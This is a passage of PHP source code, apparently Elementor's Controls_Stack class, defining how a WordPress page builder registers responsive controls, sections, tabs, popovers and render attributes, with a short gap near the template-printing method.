); while ( true ) { $section_index++; if ( ! isset( $controls_keys[ $section_index ] ) ) { break; } $control_key = $controls_keys[ $section_index ]; if ( Controls_Manager::SECTION === $registered_controls[ $control_key ]['type'] ) { break; } $section_controls[ $control_key ] = $registered_controls[ $control_key ]; }; return $section_controls; } /** * Add new group control to stack. * * Register a set of related controls grouped together as a single unified * control. For example grouping together like typography controls into a * single, easy-to-use control. * * @since 1.4.0 * @access public * * @param string $group_name Group control name. * @param array $args Group control arguments. Default is an empty array. * @param array $options Optional. Group control options. Default is an * empty array. */ final public function add_group_control( $group_name, array $args = [], array $options = [] ) { $group = Plugin::$instance->controls_manager->get_control_groups( $group_name ); if ( ! $group ) { wp_die( sprintf( '%s::%s: Group "%s" not found.', get_called_class(), __FUNCTION__, $group_name ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $group->add_controls( $this, $args, $options ); } /** * Get style controls. * * Retrieve style controls for all active controls or, when requested, from * a specific set of controls. * * @since 1.4.0 * @since 2.0.9 Added the `settings` parameter. * @access public * @deprecated 3.0.0 * * @param array $controls Optional. Controls list. Default is null. * @param array $settings Optional. Controls settings. Default is null. * * @return array Style controls. */ final public function get_style_controls( array $controls = null, array $settings = null ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.0.0' ); $controls = $this->get_active_controls( $controls, $settings ); $style_controls = []; foreach ( $controls as $control_name => $control ) { $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); if ( ! $control_obj instanceof Base_Data_Control ) { continue; } $control = array_merge( $control_obj->get_settings(), $control ); if ( $control_obj instanceof Control_Repeater ) { $style_fields = []; foreach ( $this->get_settings( $control_name ) as $item ) { $style_fields[] = $this->get_style_controls( $control['fields'], $item ); } $control['style_fields'] = $style_fields; } if ( ! empty( $control['selectors'] ) || ! empty( $control['dynamic'] ) || ! empty( $control['style_fields'] ) ) { $style_controls[ $control_name ] = $control; } } return $style_controls; } /** * Get tabs controls. * * Retrieve all the tabs assigned to the control. * * @since 1.4.0 * @access public * * @return array Tabs controls. */ final public function get_tabs_controls() { return $this->get_stack()['tabs']; } /** * Add new responsive control to stack. * * Register a set of controls to allow editing based on user screen size. * This method registers one or more controls per screen size/device, depending on the current Responsive Control * Duplication Mode. There are 3 control duplication modes: * * 'off' - Only a single control is generated. In the Editor, this control is duplicated in JS. * * 'on' - Multiple controls are generated, one control per enabled device/breakpoint + a default/desktop control. * * 'dynamic' - If the control includes the `'dynamic' => 'active' => true` property - the control is duplicated, * once for each device/breakpoint + default/desktop. * If the control doesn't include the `'dynamic' => 'active' => true` property - the control is not duplicated. * * @since 1.4.0 * @access public * * @param string $id Responsive control ID. * @param array $args Responsive control arguments. * @param array $options Optional. Responsive control options. Default is * an empty array. */ final public function add_responsive_control( $id, array $args, $options = [] ) { $args['responsive'] = []; $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); $devices = Plugin::$instance->breakpoints->get_active_devices_list( [ 'reverse' => true, 'desktop_first' => true, ] ); if ( isset( $args['devices'] ) ) { $devices = array_intersect( $devices, $args['devices'] ); $args['responsive']['devices'] = $devices; unset( $args['devices'] ); } $control_to_check = $args; if ( ! empty( $options['overwrite'] ) ) { $existing_control = Plugin::$instance->controls_manager->get_control_from_stack( $this->get_unique_name(), $id ); if ( ! is_wp_error( $existing_control ) ) { $control_to_check = $existing_control; } } $responsive_duplication_mode = Plugin::$instance->breakpoints->get_responsive_control_duplication_mode(); $additional_breakpoints_active = Plugin::$instance->experiments->is_feature_active( 'additional_custom_breakpoints' ); $control_is_dynamic = ! empty( $control_to_check['dynamic']['active'] ); $is_frontend_available = ! empty( $control_to_check['frontend_available'] ); $has_prefix_class = ! empty( $control_to_check['prefix_class'] ); // If the new responsive controls experiment is active, create only one control - duplicates per device will // be created in JS in the Editor. if ( $additional_breakpoints_active && ( 'off' === $responsive_duplication_mode || ( 'dynamic' === $responsive_duplication_mode && ! $control_is_dynamic ) ) // Some responsive controls need responsive settings to be available to the widget handler, even when empty. && ! $is_frontend_available && ! $has_prefix_class ) { $args['is_responsive'] = true; if ( ! empty( $options['overwrite'] ) ) { $this->update_control( $id, $args, [ 'recursive' => ! empty( $options['recursive'] ), ] ); } else { $this->add_control( $id, $args, $options ); } return; } if ( isset( $args['default'] ) ) { $args['desktop_default'] = $args['default']; unset( $args['default'] ); } foreach ( $devices as $device_name ) { $control_args = $args; // Set parent using the name from previous iteration. if ( isset( $control_name ) ) { // If $control_name end with _widescreen use desktop name instead $control_args['parent'] = '_widescreen' === substr( $control_name, -strlen( '_widescreen' ) ) ? $id : $control_name; } else { $control_args['parent'] = null; } if ( isset( $control_args['device_args'] ) ) { if ( ! empty( $control_args['device_args'][ $device_name ] ) ) { $control_args = array_merge( $control_args, $control_args['device_args'][ $device_name ] ); } unset( $control_args['device_args'] ); } if ( ! empty( $args['prefix_class'] ) ) { $device_to_replace = Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $device_name ? '' : '-' . $device_name; $control_args['prefix_class'] = sprintf( $args['prefix_class'], $device_to_replace ); } $direction = 'max'; if ( Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP !== $device_name ) { $direction = $active_breakpoints[ $device_name ]->get_direction(); } $control_args['responsive'][ $direction ] = $device_name; if ( isset( $control_args['min_affected_device'] ) ) { if ( ! empty( $control_args['min_affected_device'][ $device_name ] ) ) { $control_args['responsive']['min'] = $control_args['min_affected_device'][ $device_name ]; } unset( $control_args['min_affected_device'] ); } if ( isset( $control_args[ $device_name . '_default' ] ) ) { $control_args['default'] = $control_args[ $device_name . '_default' ]; } foreach ( $devices as $device ) { unset( $control_args[ $device . '_default' ] ); } $id_suffix = Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $device_name ? '' : '_' . $device_name; $control_name = $id . $id_suffix; // Set this control as child of previous iteration control. if ( ! empty( $control_args['parent'] ) ) { $this->update_control( $control_args['parent'], [ 'inheritors' => [ $control_name ] ] ); } if ( ! empty( $options['overwrite'] ) ) { $this->update_control( $control_name, $control_args, [ 'recursive' => ! empty( $options['recursive'] ), ] ); } else { $this->add_control( $control_name, $control_args, $options ); } } } /** * Update responsive control in stack. * * Change the value of an existing responsive control in the stack. When you * add new control you set the `$args` parameter, this method allows you to * update the arguments by passing new data. * * @since 1.4.0 * @access public * * @param string $id Responsive control ID. * @param array $args Responsive control arguments. * @param array $options Optional. Additional options. */ final public function update_responsive_control( $id, array $args, array $options = [] ) { $this->add_responsive_control( $id, $args, [ 'overwrite' => true, 'recursive' => ! empty( $options['recursive'] ), ] ); } /** * Remove responsive control from stack. * * Unregister an existing responsive control and remove it from the stack. * * @since 1.4.0 * @access public * * @param string $id Responsive control ID. */ final public function remove_responsive_control( $id ) { $devices = Plugin::$instance->breakpoints->get_active_devices_list( [ 'reverse' => true ] ); foreach ( $devices as $device_name ) { $id_suffix = Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $device_name ? '' : '_' . $device_name; $this->remove_control( $id . $id_suffix ); } } /** * Get class name. * * Retrieve the name of the current class. * * @since 1.4.0 * @access public * * @return string Class name. */ final public function get_class_name() { return get_called_class(); } /** * Get the config. * * Retrieve the config or, if non set, use the initial config. * * @since 1.4.0 * @access public * * @return array|null The config. */ final public function get_config() { if ( null === $this->config ) { // TODO: This is for backwards compatibility starting from 2.9.0 // This if statement should be removed when the method is hard-deprecated if ( $this->has_own_method( '_get_initial_config', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_get_initial_config', '2.9.0', __CLASS__ . '::get_initial_config()' ); $this->config = $this->_get_initial_config(); } else { $this->config = $this->get_initial_config(); } foreach ( $this->additional_config as $key => $value ) { if ( isset( $this->config[ $key ] ) ) { $this->config[ $key ] = wp_parse_args( $value, $this->config[ $key ] ); } else { $this->config[ $key ] = $value; } } } return $this->config; } /** * Set a config property. * * Set a specific property of the config list for this controls-stack. * * @since 3.5.0 * @access public */ public function set_config( $key, $value ) { if ( isset( $this->additional_config[ $key ] ) ) { $this->additional_config[ $key ] = wp_parse_args( $value, $this->additional_config[ $key ] ); } else { $this->additional_config[ $key ] = $value; } } /** * Get frontend settings keys. * * Retrieve settings keys for all frontend controls. * * @since 1.6.0 * @access public * * @return array Settings keys for each control. */ final public function get_frontend_settings_keys() { $controls = []; foreach ( $this->get_controls() as $control ) { if ( ! empty( $control['frontend_available'] ) ) { $controls[] = $control['name']; } } return $controls; } /** * Get controls pointer index. * * Retrieve pointer index where the next control should be added. * * While using injection point, it will return the injection point index. * Otherwise index of the last control plus one. * * @since 1.9.2 * @access public * * @return int Controls pointer index. */ public function get_pointer_index() { if ( null !== $this->injection_point ) { return $this->injection_point['index']; } return count( $this->get_controls() ); } /** * Get the raw data. * * Retrieve all the items or, when requested, a specific item. * * @since 1.4.0 * @access public * * @param string $item Optional. The requested item. Default is null. * * @return mixed The raw data. */ public function get_data( $item = null ) { if ( ! $this->settings_sanitized && ( ! $item || 'settings' === $item ) ) { $this->data['settings'] = $this->sanitize_settings( $this->data['settings'] ); $this->settings_sanitized = true; } return self::get_items( $this->data, $item ); } /** * @since 2.0.14 * @access public */ public function get_parsed_dynamic_settings( $setting = null, $settings = null ) { if ( null === $settings ) { $settings = $this->get_settings(); } if ( null === $this->parsed_dynamic_settings ) { $this->parsed_dynamic_settings = $this->parse_dynamic_settings( $settings ); } return self::get_items( $this->parsed_dynamic_settings, $setting ); } /** * Get active settings. * * Retrieve the settings from all the active controls. * * @since 1.4.0 * @since 2.1.0 Added the `controls` and the `settings` parameters. * @access public * * @param array $controls Optional. An array of controls. Default is null. * @param array $settings Optional. Controls settings. Default is null. * * @return array Active settings. */ public function get_active_settings( $settings = null, $controls = null ) { $is_first_request = ! $settings && ! $this->active_settings; if ( ! $settings ) { if ( $this->active_settings ) { return $this->active_settings; } $settings = $this->get_controls_settings(); $controls = $this->get_controls(); } $active_settings = []; $controls_objs = Plugin::$instance->controls_manager->get_controls(); foreach ( $settings as $setting_key => $setting ) { if ( ! isset( $controls[ $setting_key ] ) ) { $active_settings[ $setting_key ] = $setting; continue; } $control = $controls[ $setting_key ]; if ( $this->is_control_visible( $control, $settings, $controls ) ) { $control_obj = $controls_objs[ $control['type'] ] ?? null; if ( $control_obj instanceof Control_Repeater ) { foreach ( $setting as & $item ) { $item = $this->get_active_settings( $item, $control['fields'] ); } } $active_settings[ $setting_key ] = $setting; } else { $active_settings[ $setting_key ] = null; } } if ( $is_first_request ) { $this->active_settings = $active_settings; } return $active_settings; } /** * Get settings for display. * * Retrieve all the settings or, when requested, a specific setting for display. * * Unlike `get_settings()` method, this method retrieves only active settings * that passed all the conditions, rendered all the shortcodes and all the dynamic * tags. * * @since 2.0.0 * @access public * * @param string $setting_key Optional. The key of the requested setting. * Default is null. * * @return mixed The settings. */ public function get_settings_for_display( $setting_key = null ) { if ( ! $this->parsed_active_settings ) { $this->parsed_active_settings = $this->get_active_settings( $this->get_parsed_dynamic_settings(), $this->get_controls() ); } return self::get_items( $this->parsed_active_settings, $setting_key ); } /** * Parse dynamic settings. * * Retrieve the settings with rendered dynamic tags. * * @since 2.0.0 * @access public * * @param array $settings Optional. The requested setting. Default is null. * @param array $controls Optional. The controls array. Default is null. * @param array $all_settings Optional. All the settings. Default is null. * * @return array The settings with rendered dynamic tags. */ public function parse_dynamic_settings( $settings, $controls = null, $all_settings = null ) { if ( null === $all_settings ) { $all_settings = $this->get_settings(); } if ( null === $controls ) { $controls = $this->get_controls(); } $controls_objs = Plugin::$instance->controls_manager->get_controls(); foreach ( $controls as $control ) { $control_name = $control['name']; $control_obj = $controls_objs[ $control['type'] ] ?? null; if ( ! $control_obj instanceof Base_Data_Control ) { continue; } if ( $control_obj instanceof Control_Repeater ) { if ( ! isset( $settings[ $control_name ] ) ) { continue; } foreach ( $settings[ $control_name ] as & $field ) { $field = $this->parse_dynamic_settings( $field, $control['fields'], $field ); } continue; } $dynamic_settings = $control_obj->get_settings( 'dynamic' ); if ( ! $dynamic_settings ) { $dynamic_settings = []; } if ( ! empty( $control['dynamic'] ) ) { $dynamic_settings = array_merge( $dynamic_settings, $control['dynamic'] ); } if ( empty( $dynamic_settings ) || ! isset( $all_settings[ Manager::DYNAMIC_SETTING_KEY ][ $control_name ] ) ) { continue; } if ( ! empty( $dynamic_settings['active'] ) && ! empty( $all_settings[ Manager::DYNAMIC_SETTING_KEY ][ $control_name ] ) ) { $parsed_value = $control_obj->parse_tags( $all_settings[ Manager::DYNAMIC_SETTING_KEY ][ $control_name ], $dynamic_settings ); $dynamic_property = ! empty( $dynamic_settings['property'] ) ? $dynamic_settings['property'] : null; if ( $dynamic_property ) { $settings[ $control_name ][ $dynamic_property ] = $parsed_value; } else { $settings[ $control_name ] = $parsed_value; } } } return $settings; } /** * Get frontend settings. * * Retrieve the settings for all frontend controls. * * @since 1.6.0 * @access public * * @return array Frontend settings. */ public function get_frontend_settings() { $frontend_settings = array_intersect_key( $this->get_settings_for_display(), array_flip( $this->get_frontend_settings_keys() ) ); foreach ( $frontend_settings as $key => $setting ) { if ( in_array( $setting, [ null, '' ], true ) ) { unset( $frontend_settings[ $key ] ); } } return $frontend_settings; } /** * Filter controls settings. * * Receives controls, settings and a callback function to filter the settings by * and returns filtered settings. * * @since 1.5.0 * @access public * * @param callable $callback The callback function. * @param array $settings Optional. Control settings. Default is an empty * array. * @param array $controls Optional. Controls list. Default is an empty * array. * * @return array Filtered settings. */ public function filter_controls_settings( callable $callback, array $settings = [], array $controls = [] ) { if ( ! $settings ) { $settings = $this->get_settings(); } if ( ! $controls ) { $controls = $this->get_controls(); } return array_reduce( array_keys( $settings ), function( $filtered_settings, $setting_key ) use ( $controls, $settings, $callback ) { if ( isset( $controls[ $setting_key ] ) ) { $result = $callback( $settings[ $setting_key ], $controls[ $setting_key ] ); if ( null !== $result ) { $filtered_settings[ $setting_key ] = $result; } } return $filtered_settings; }, [] ); } /** * Get Responsive Control Device Suffix * * @deprecated 3.7.6 Use `Elementor\Controls_Manager::get_responsive_control_device_suffix()` instead. * @param array $control * @return string $device suffix */ protected function get_responsive_control_device_suffix( $control ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.7.6', 'Elementor\Controls_Manager::get_responsive_control_device_suffix()' ); return Controls_Manager::get_responsive_control_device_suffix( $control ); } /** * Whether the control is visible or not. * * Used to determine whether the control is visible or not. * * @since 1.4.0 * @access public * * @param array $control The control. * @param array $values Optional. Condition values. Default is null. * * @return bool Whether the control is visible. */ public function is_control_visible( $control, $values = null, $controls = null ) { if ( null === $values ) { $values = $this->get_settings(); } if ( ! empty( $control['conditions'] ) && ! Conditions::check( $control['conditions'], $values ) ) { return false; } if ( empty( $control['condition'] ) ) { return true; } if ( ! $controls ) { $controls = $this->get_controls(); } foreach ( $control['condition'] as $condition_key => $condition_value ) { preg_match( '/([a-z_\-0-9]+)(?:\[([a-z_]+)])?(!?)$/i', $condition_key, $condition_key_parts ); $pure_condition_key = $condition_key_parts[1]; $condition_sub_key = $condition_key_parts[2]; $is_negative_condition = ! ! $condition_key_parts[3]; if ( ! isset( $values[ $pure_condition_key ] ) || null === $values[ $pure_condition_key ] ) { return false; } $are_control_and_condition_responsive = isset( $control['responsive'] ) && ! empty( $controls[ $pure_condition_key ]['responsive'] ); $condition_name_to_check = $pure_condition_key; if ( $are_control_and_condition_responsive ) { $device_suffix = Controls_Manager::get_responsive_control_device_suffix( $control ); $condition_name_to_check = $pure_condition_key . $device_suffix; // If the control is not desktop, and a conditioning control for the corresponding device exists, use it. $instance_value = $values[ $pure_condition_key . $device_suffix ] ?? $values[ $pure_condition_key ]; } else { $instance_value = $values[ $pure_condition_key ]; } if ( $condition_sub_key && is_array( $instance_value ) ) { if ( ! isset( $instance_value[ $condition_sub_key ] ) ) { return false; } $instance_value = $instance_value[ $condition_sub_key ]; } if ( ! $instance_value ) { $parent = isset( $controls[ $condition_name_to_check ]['parent'] ) ? $controls[ $condition_name_to_check ]['parent'] : false; while ( $parent ) { $instance_value = $values[ $parent ]; if ( $instance_value ) { if ( ! is_array( $instance_value ) ) { break; } if ( $condition_sub_key && isset( $instance_value[ $condition_sub_key ] ) ) { $instance_value = $instance_value[ $condition_sub_key ]; if ( '' !== $instance_value ) { break; } } } $parent = isset( $controls[ $parent ]['parent'] ) ? $controls[ $parent ]['parent'] : false; } } /** * If the $condition_value is a non empty array - check if the $condition_value contains the $instance_value, * If the $instance_value is a non empty array - check if the $instance_value contains the $condition_value * otherwise check if they are equal. ( and give the ability to check if the value is an empty array ) */ if ( is_array( $condition_value ) && ! empty( $condition_value ) ) { $is_contains = in_array( $instance_value, $condition_value, true ); } elseif ( is_array( $instance_value ) && ! empty( $instance_value ) ) { $is_contains = in_array( $condition_value, $instance_value, true ); } else { $is_contains = $instance_value === $condition_value; } if ( $is_negative_condition && $is_contains || ! $is_negative_condition && ! $is_contains ) { return false; } } return true; } /** * Start controls section. * * Used to add a new section of controls. When you use this method, all the * registered controls from this point will be assigned to this section, * until you close the section using `end_controls_section()` method. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public * * @param string $section_id Section ID. * @param array $args Section arguments Optional. */ public function start_controls_section( $section_id, array $args = [] ) { $stack_name = $this->get_name(); /** * Before section start. * * Fires before Elementor section starts in the editor panel. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param string $section_id Section ID. * @param array $args Section arguments. */ do_action( 'elementor/element/before_section_start', $this, $section_id, $args ); /** * Before section start. * * Fires before Elementor section starts in the editor panel. * * The dynamic portions of the hook name, `$stack_name` and `$section_id`, refers to the stack name and section ID, respectively. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param array $args Section arguments. */ do_action( "elementor/element/{$stack_name}/{$section_id}/before_section_start", $this, $args ); $args['type'] = Controls_Manager::SECTION; $this->add_control( $section_id, $args ); if ( null !== $this->current_section ) { wp_die( sprintf( 'Elementor: You can\'t start a section before the end of the previous section "%s".', $this->current_section['section'] ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $this->current_section = $this->get_section_args( $section_id ); if ( $this->injection_point ) { $this->injection_point['section'] = $this->current_section; } /** * After section start. * * Fires after Elementor section starts in the editor panel. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param string $section_id Section ID. * @param array $args Section arguments. */ do_action( 'elementor/element/after_section_start', $this, $section_id, $args ); /** * After section start. * * Fires after Elementor section starts in the editor panel. * * The dynamic portions of the hook name, `$stack_name` and `$section_id`, refers to the stack name and section ID, respectively. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param array $args Section arguments. */ do_action( "elementor/element/{$stack_name}/{$section_id}/after_section_start", $this, $args ); } /** * End controls section. * * Used to close an existing open controls section. When you use this method * it stops adding new controls to this section. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public */ public function end_controls_section() { $stack_name = $this->get_name(); // Save the current section for the action. $current_section = $this->current_section; $section_id = $current_section['section']; $args = [ 'tab' => $current_section['tab'], ]; /** * Before section end. * * Fires before Elementor section ends in the editor panel. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param string $section_id Section ID. * @param array $args Section arguments. */ do_action( 'elementor/element/before_section_end', $this, $section_id, $args ); /** * Before section end. * * Fires before Elementor section ends in the editor panel. * * The dynamic portions of the hook name, `$stack_name` and `$section_id`, refers to the stack name and section ID, respectively. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param array $args Section arguments. */ do_action( "elementor/element/{$stack_name}/{$section_id}/before_section_end", $this, $args ); $this->current_section = null; /** * After section end. * * Fires after Elementor section ends in the editor panel. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param string $section_id Section ID. * @param array $args Section arguments. */ do_action( 'elementor/element/after_section_end', $this, $section_id, $args ); /** * After section end. * * Fires after Elementor section ends in the editor panel. * * The dynamic portions of the hook name, `$stack_name` and `$section_id`, refers to the stack name and section ID, respectively. * * @since 1.4.0 * * @param Controls_Stack $this The control. * @param array $args Section arguments. */ do_action( "elementor/element/{$stack_name}/{$section_id}/after_section_end", $this, $args ); } /** * Start controls tabs. * * Used to add a new set of tabs inside a section. You should use this * method before adding new individual tabs using `start_controls_tab()`. * Each tab added after this point will be assigned to this group of tabs, * until you close it using `end_controls_tabs()` method. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public * * @param string $tabs_id Tabs ID. * @param array $args Tabs arguments. */ public function start_controls_tabs( $tabs_id, array $args = [] ) { if ( null !== $this->current_tab ) { wp_die( sprintf( 'Elementor: You can\'t start tabs before the end of the previous tabs "%s".', $this->current_tab['tabs_wrapper'] ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $args['type'] = Controls_Manager::TABS; $this->add_control( $tabs_id, $args ); $this->current_tab = [ 'tabs_wrapper' => $tabs_id, ]; foreach ( [ 'condition', 'conditions' ] as $key ) { if ( ! empty( $args[ $key ] ) ) { $this->current_tab[ $key ] = $args[ $key ]; } } if ( $this->injection_point ) { $this->injection_point['tab'] = $this->current_tab; } } /** * End controls tabs. * * Used to close an existing open controls tabs. When you use this method it * stops adding new controls to this tabs. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public */ public function end_controls_tabs() { $this->current_tab = null; } /** * Start controls tab. * * Used to add a new tab inside a group of tabs. Use this method before * adding new individual tabs using `start_controls_tab()`. * Each tab added after this point will be assigned to this group of tabs, * until you close it using `end_controls_tab()` method. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public * * @param string $tab_id Tab ID. * @param array $args Tab arguments. */ public function start_controls_tab( $tab_id, $args ) { if ( ! empty( $this->current_tab['inner_tab'] ) ) { wp_die( sprintf( 'Elementor: You can\'t start a tab before the end of the previous tab "%s".', $this->current_tab['inner_tab'] ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } $args['type'] = Controls_Manager::TAB; $args['tabs_wrapper'] = $this->current_tab['tabs_wrapper']; $this->add_control( $tab_id, $args ); $this->current_tab['inner_tab'] = $tab_id; if ( $this->injection_point ) { $this->injection_point['tab']['inner_tab'] = $this->current_tab['inner_tab']; } } /** * End controls tab. * * Used to close an existing open controls tab. When you use this method it * stops adding new controls to this tab. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public */ public function end_controls_tab() { unset( $this->current_tab['inner_tab'] ); } /** * Start popover. * * Used to add a new set of controls in a popover. When you use this method, * all the registered controls from this point will be assigned to this * popover, until you close the popover using `end_popover()` method. * * This method should be used inside `register_controls()`. * * @since 1.9.0 * @access public */ final public function start_popover() { $this->current_popover = [ 'initialized' => false, ]; } /** * End popover. * * Used to close an existing open popover. When you use this method it stops * adding new controls to this popover. * * This method should be used inside `register_controls()`. * * @since 1.9.0 * @access public */ final public function end_popover() { $this->current_popover = null; $last_control_key = $this->get_control_key( $this->get_pointer_index() - 1 ); $args = [ 'popover' => [ 'end' => true, ], ]; $options = [ 'recursive' => true, ]; $this->update_control( $last_control_key, $args, $options ); } /** * Add render attribute. * * Used to add attributes to a specific HTML element. * * The HTML tag is represented by the element parameter, then you need to * define the attribute key and the attribute key. The final result will be: * ``. * * Example usage: * * `$this->add_render_attribute( 'wrapper', 'class', 'custom-widget-wrapper-class' );` * `$this->add_render_attribute( 'widget', 'id', 'custom-widget-id' );` * `$this->add_render_attribute( 'button', [ 'class' => 'custom-button-class', 'id' => 'custom-button-id' ] );` * * @since 1.0.0 * @access public * * @param array|string $element The HTML element. * @param array|string $key Optional. Attribute key. Default is null. * @param array|string $value Optional. Attribute value. Default is null. * @param bool $overwrite Optional. Whether to overwrite existing * attribute. Default is false, not to overwrite. * * @return self Current instance of the element. */ public function add_render_attribute( $element, $key = null, $value = null, $overwrite = false ) { if ( is_array( $element ) ) { foreach ( $element as $element_key => $attributes ) { $this->add_render_attribute( $element_key, $attributes, null, $overwrite ); } return $this; } if ( is_array( $key ) ) { foreach ( $key as $attribute_key => $attributes ) { $this->add_render_attribute( $element, $attribute_key, $attributes, $overwrite ); } return $this; } if ( empty( $this->render_attributes[ $element ][ $key ] ) ) { $this->render_attributes[ $element ][ $key ] = []; } settype( $value, 'array' ); if ( $overwrite ) { $this->render_attributes[ $element ][ $key ] = $value; } else { $this->render_attributes[ $element ][ $key ] = array_merge( $this->render_attributes[ $element ][ $key ], $value ); } return $this; } /** * Get Render Attributes * * Used to retrieve render attribute. * * The returned array is either all elements and their attributes if no `$element` is specified, an array of all * attributes of a specific element or a specific attribute properties if `$key` is specified. * * Returns null if one of the requested parameters isn't set. * * @since 2.2.6 * @access public * @param string $element * @param string $key * * @return array */ public function get_render_attributes( $element = '', $key = '' ) { $attributes = $this->render_attributes; if ( $element ) { if ( ! isset( $attributes[ $element ] ) ) { return null; } $attributes = $attributes[ $element ]; if ( $key ) { if ( ! isset( $attributes[ $key ] ) ) { return null; } $attributes = $attributes[ $key ]; } } return $attributes; } /** * Set render attribute. * * Used to set the value of the HTML element render attribute or to update * an existing render attribute. * * @since 1.0.0 * @access public * * @param array|string $element The HTML element. * @param array|string $key Optional. Attribute key. Default is null. * @param array|string $value Optional. Attribute value. Default is null. * * @return self Current instance of the element. */ public function set_render_attribute( $element, $key = null, $value = null ) { return $this->add_render_attribute( $element, $key, $value, true ); } /** * Remove render attribute. * * Used to remove an element (with its keys and their values), key (with its values), * or value/s from an HTML element's render attribute. * * @since 2.7.0 * @access public * * @param string $element The HTML element. * @param string $key Optional. Attribute key. Default is null. * @param array|string $values Optional. Attribute value/s. Default is null. */ public function remove_render_attribute( $element, $key = null, $values = null ) { if ( $key && ! isset( $this->render_attributes[ $element ][ $key ] ) ) { return; } if ( $values ) { $values = (array) $values; $this->render_attributes[ $element ][ $key ] = array_diff( $this->render_attributes[ $element ][ $key ], $values ); return; } if ( $key ) { unset( $this->render_attributes[ $element ][ $key ] ); return; } if ( isset( $this->render_attributes[ $element ] ) ) { unset( $this->render_attributes[ $element ] ); } } /** * Get render attribute string. * * Used to retrieve the value of the render attribute. * * @since 1.0.0 * @access public * * @param string $element The element. * * @return string Render attribute string, or an empty string if the attribute * is empty or not exist. */ public function get_render_attribute_string( $element ) { if ( empty( $this->render_attributes[ $element ] ) ) { return ''; } return Utils::render_html_attributes( $this->render_attributes[ $element ] ); } /** * Print render attribute string. * * Used to output the rendered attribute. * * @since 2.0.0 * @access public * * @param array|string $element The element. */ public function print_render_attribute_string( $element ) { echo $this->get_render_attribute_string( $element ); // XSS ok. } /** * Print element template. * * Used to generate the element template on the editor. * * @since 2.0.0 * @access public */ public function print_template() { ob_start(); // TODO: This is for backwards compatibility starting from 2.9.0 // This `if` statement should be removed when the method is removed if ( $this->has_own_method( '_content_template', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_content_template', '2.9.0', __CLASS__ . '::content_template()' ); $this->_content_template(); } else { $this->content_template(); } $template_content = ob_get_clean(); $element_type = $this->get_type(); /** * Template content. * * Filters the controls stack template content before it's printed in the editor. * * The dynamic portion of the hook name, `$element_type`, refers to the element type. * * @since 1.0.0 * * @param string $content_template The controls stack template in the editor. * @param Controls_Stack $this The controls stack. */ $template_content = apply_filters( "elementor/{$element_type}/print_template", $template_content, $this ); if ( empty( $template_content ) ) { return; } ?> injection_point ) { wp_die( 'A controls injection is already opened. Please close current injection before starting a new one (use `end_injection`).' ); } $this->injection_point = $this->get_position_info( $position ); } /** * End injection. * * Used to close an existing opened injection point. * * When you use this method it stops adding new controls and sections to * this point and continue to add controls to the regular position in the * stack. * * @since 1.7.1 * @access public */ final public function end_injection() { $this->injection_point = null; } /** * Get injection point. * * Retrieve the injection point in the stack where new controls and sections * will be inserted. * * @since 1.9.2 * @access public * * @return array|null An array when an injection point is defined, null * otherwise. */ final public function get_injection_point() { return $this->injection_point; } /** * Register controls. * * Used to add new controls to any element type. For example, external * developers use this method to register controls in a widget. * * Should be inherited and register new controls using `add_control()`, * `add_responsive_control()` and `add_group_control()`, inside control * wrappers like `start_controls_section()`, `start_controls_tabs()` and * `start_controls_tab()`. * * @since 1.4.0 * @access protected * @deprecated 3.1.0 Use `register_controls()` method instead. */ protected function _register_controls() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0', 'register_controls()' ); $this->register_controls(); } /** * Register controls. * * Used to add new controls to any element type. For example, external * developers use this method to register controls in a widget. * * Should be inherited and register new controls using `add_control()`, * `add_responsive_control()` and `add_group_control()`, inside control * wrappers like `start_controls_section()`, `start_controls_tabs()` and * `start_controls_tab()`. * * @since 3.1.0 * @access protected */ protected function register_controls() {} /** * Get default data. * * Retrieve the default data. Used to reset the data on initialization. * * @since 1.4.0 * @access protected * * @return array Default data. */ protected function get_default_data() { return [ 'id' => 0, 'settings' => [], ]; } /** * @since 2.3.0 * @access protected */ protected function get_init_settings() { $settings = $this->get_data( 'settings' ); $controls_objs = Plugin::$instance->controls_manager->get_controls(); foreach ( $this->get_controls() as $control ) { $control_obj = $controls_objs[ $control['type'] ] ?? null; if ( ! $control_obj instanceof Base_Data_Control ) { continue; } $control = array_merge_recursive( $control_obj->get_settings(), $control ); $settings[ $control['name'] ] = $control_obj->get_value( $control, $settings ); } return $settings; } /** * Get initial config. * * Retrieve the current element initial configuration - controls list and * the tabs assigned to the control. * * @since 2.9.0 * @access protected * * @return array The initial config. */ protected function get_initial_config() { return [ 'controls' => $this->get_controls(), ]; } /** * Get initial config. * * Retrieve the current element initial configuration - controls list and * the tabs assigned to the control. * * @since 1.4.0 * @deprecated 2.9.0 Use `get_initial_config()` method instead. * @access protected * * @return array The initial config. */ protected function _get_initial_config() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' 